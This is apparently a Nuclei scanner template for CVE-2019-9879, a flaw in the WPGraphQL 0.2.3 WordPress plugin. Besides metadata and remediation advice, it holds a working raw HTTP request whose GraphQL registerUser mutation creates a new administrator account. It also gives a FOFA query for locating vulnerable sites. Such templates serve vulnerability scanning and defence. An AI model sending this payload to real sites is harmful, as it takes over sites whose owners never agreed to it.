id: CVE-2019-9879

info:
  name: WPGraphQL 0.2.3 - User Creation
  author: DhiyaneshDk
  severity: critical
  description: |
    The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
  impact: |
    Attackers can create admin users, leading to full control over the WordPress site.
  remediation: |
    Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions.
  reference:
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://github.com/pentestpartners/snippets/blob/master/wp-graphql0.2.3_exploit.py
    - https://wpscan.com/vulnerability/2d451c89-91ce-4151-b3fb-56af15869644/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9879
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9879
    cwe-id: CWE-306
    epss-score: 0.46614
    epss-percentile: 0.98671
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp-graphql,wpengine,wordpress,wp-plugin,intrusive,vkev,vuln

variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json

        {"query": "mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\"{{user_email}}\",password:\"{{password}}\",username:\"{{username}}\",roles:[\"administrator\"]}){clientMutationId}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains_all(body, 'UWHATM8', '{\"status\":')
        condition: and
# digest: 4a0a0047304502201c3eda39f925a43d1d1f5ecb7eaea139bf76b73db03fe8366d35cf0a343ee4ea022100c7c7263c9dbe9bfac7a72ecceda0ea75899346f77d81dfad40c4be46847fe71f:922c64590222798bb761d5b6d8e72950